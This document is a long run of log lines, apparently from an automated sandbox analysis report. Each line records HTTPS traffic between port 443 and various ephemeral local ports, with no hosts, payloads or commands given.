Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
